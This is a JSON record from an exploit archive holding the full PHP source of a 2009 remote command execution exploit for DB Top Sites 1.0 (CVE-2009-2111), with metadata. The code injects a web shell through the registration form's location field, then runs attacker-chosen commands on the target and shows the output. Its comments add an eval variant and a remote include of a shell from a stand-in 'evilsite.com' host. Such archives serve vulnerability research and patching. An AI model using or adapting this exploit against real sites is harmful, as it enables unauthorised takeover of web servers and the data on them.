{"exploit":{"id":"EDB-8951","name":"DB Top Sites 1.0 - Remote Command Execution","description":"DB Top Sites 1.0 - Remote Command Execution","cves":["CVE-2009-2111"],"author":"SirGod","published":"2009-06-15","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8951","path":"exploits/php/webapps/8951.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8951.php","vulnerabilities":[{"id":"CVE-2009-2111","state":"PUBLISHED","title":null,"titleSource":null,"description":"Static code injection vulnerability in add_reg.php in DB Top Sites 1.0 allows remote attackers to inject arbitrary PHP code via a crafted (1) url and (2) location parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-2111","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-2111"},"updatedAt":"2024-08-07T05:36:20.973Z","retrievedAt":"2026-11-26T15:09:35.696Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8951.png?v=2","url":"https://exploitbin.com/exploits/EDB-8951","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8951/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8951/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n/*\n\n------------------------------------------------------------\n\n[+] About\n\nDB Top Sites v1.0 Remote Command Execution Exploit\nScript homepage : http://www.jnmsolutions.co.uk/topsites/\nAuthor : SirGod\nThanks to : Nytro\nWebsite : www.mortal-team.org\n\n------------------------------------------------------------\n\n[+] Usage\n\nUpload the file to an webhost and access it.\nSite : the target website (WITH TRAILING SLASH)\nCommand : the command that you want to execute\nClick Execute.The command output will be diplayed.\nAfter you executed the exploit once,the file can't be\nreplaced ( because the exploit create it by registering )\nand just hit the link in the top of the page\nand go back to execute another command.\n\n------------------------------------------------------------\n[+] Explanation\n\nLets take a look in add_reg.php\n\nLines 14 - 22\n\n----------------------------------\n\n$user = $_POST['user'];\n$pass1 = $_POST['pass1'];\n$pass2 = $_POST['pass2'];\n$email1 = $_POST['email1'];\n$email2 = $_POST['email2'];\n$location = $_POST['location'];\n$url = $_POST['url'];\n\n$filename = \"./sites/\".$user.\".php\";\n\n-----------------------------------\n\nWe can see that the script creates a php file ( username.php ),\nin our case,pwned.php.The script save all the user data in that\nfile so we can inject our evil code into one field ( I chosen\nthe location field.\n\nLines 112 - 121\n\n----------------------------------\n\n$html = \"<?php\n\\$regdate = \\\"$date\\\";\n\\$user = \\\"$user\\\";\n\\$pass = \\\"$pass1\\\";\n\\$email = \\\"$email1\\\";\n\\$location = \\\"$location\\\";\n\\$url = \\\"$url\\\";\n?>\";\n$fp = fopen($filename, 'a+');\nfputs($fp, $html) or die(\"Could not open file!\");\n\n---------------------------------\n\nWe see how data is added in the file,the variables\nincluding our evil code.\n\nSo if we register as an user with the location :\n\n\\\";?><?php system(\\$_GET['cmd']);?><?php \\$xxx=\\\":D\n\nthe code inside the php file ( pwned.php ) will\nlook like this :\n\n----------------------------------\n<?php\n$regdate = \"13 June 2009, 4:16 PM\";\n$user = \"pwned\";\n$pass = \"pwned\";\n$email = \"pwned@yahoo.com\";\n$location = \"\";?><?php system($_GET['cmd']);?><?php $xxx=\":D\";\n$url = \"http://pwned.com\";$plm=\":)\";\n?>\n---------------------------------\n\nSo we can succesfully execute our commands.\n\n------------------------------------------------------------\n\n[+] Notes\n\nYou can change my PHP code ( $codphp ) with what you want.\nExample :\n\n$codphp = \"\\\";?><?php eval(\\$_GET['cmd']);?><?php \\$xxx=\\\":D\";\n\nAnd you will be able to execute PHP code.\n\nExample 2 :\n\n$codphp = \"\\\";?><?php include \"http://evilsite.com/evilscript.txt\";?><?php \\$xxx=\\\":D\";\n\nTo include your evil script (shell).\n\nSession is used to verify if the exploit was launched\npreviously and if was launched previously the exploit\nwill NOT try anymore to create the file and will let\nyou to execute your commands.\n\n------------------------------------------------------------\n\n*/\n\nsession_start();\nerror_reporting(0);\n\nif(isset($_POST['submit']))\n{\nif(!isset($_SESSION['done']))\n{\n$codphp = \"\\\";?><?php system(\\$_GET['cmd']);?><?php \\$xxx=\\\":D\";\ndefine('POSTVARS','user=pwned&pass1=pwned&pass2=pwned&email1=pwned@yahoo.com&email2=pwned@yahoo.com&url=http://pwned.com\";$plm=\":)&location='.$codphp);\n\n$site = $_POST['site'];\n\n$ch = curl_init($site . \"add_reg.php\");\ncurl_setopt($ch, CURLOPT_POST, 1);\ncurl_setopt($ch, CURLOPT_POSTFIELDS, POSTVARS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n$data = curl_exec($ch);\n$_SESSION['done'] = 1;\n}\n$site = $_POST['site'];\n$result = file_get_contents($site . \"sites/pwned.php?cmd=\" . $_POST['cmd']);\nprint \"<a href=\\\"javascript:history.back();\\\">Click here to go back and execute another command</a><br /><br />\";\nprint \"Command result: <br /><br />\" . nl2br($result) . \"<br /><br />\";\n}\n\nelse\n{\n\n?>\n\n<form method=\"post\">\nSite: <input type=\"text\" name=\"site\" value=\"http://127.0.0.1/path/\" /><br />\nCommand: <input type=\"text\" name=\"cmd\" value=\"whoami\" /><br /><br />\n<input type=\"submit\" name=\"submit\" value=\"Execute\" />\n</form>\n\n<?php\n\n}\n\n?>\n\n# milw0rm.com [2009-06-15]","sha256":"839619a2154ae294623bb5ae1e490794d2f784ed96b09d0ec9591755a4811a87","bytes":4106,"fetchedAt":"2026-11-26T15:09:33.975Z","encoding":"utf-8 (display only; download retains original bytes)"}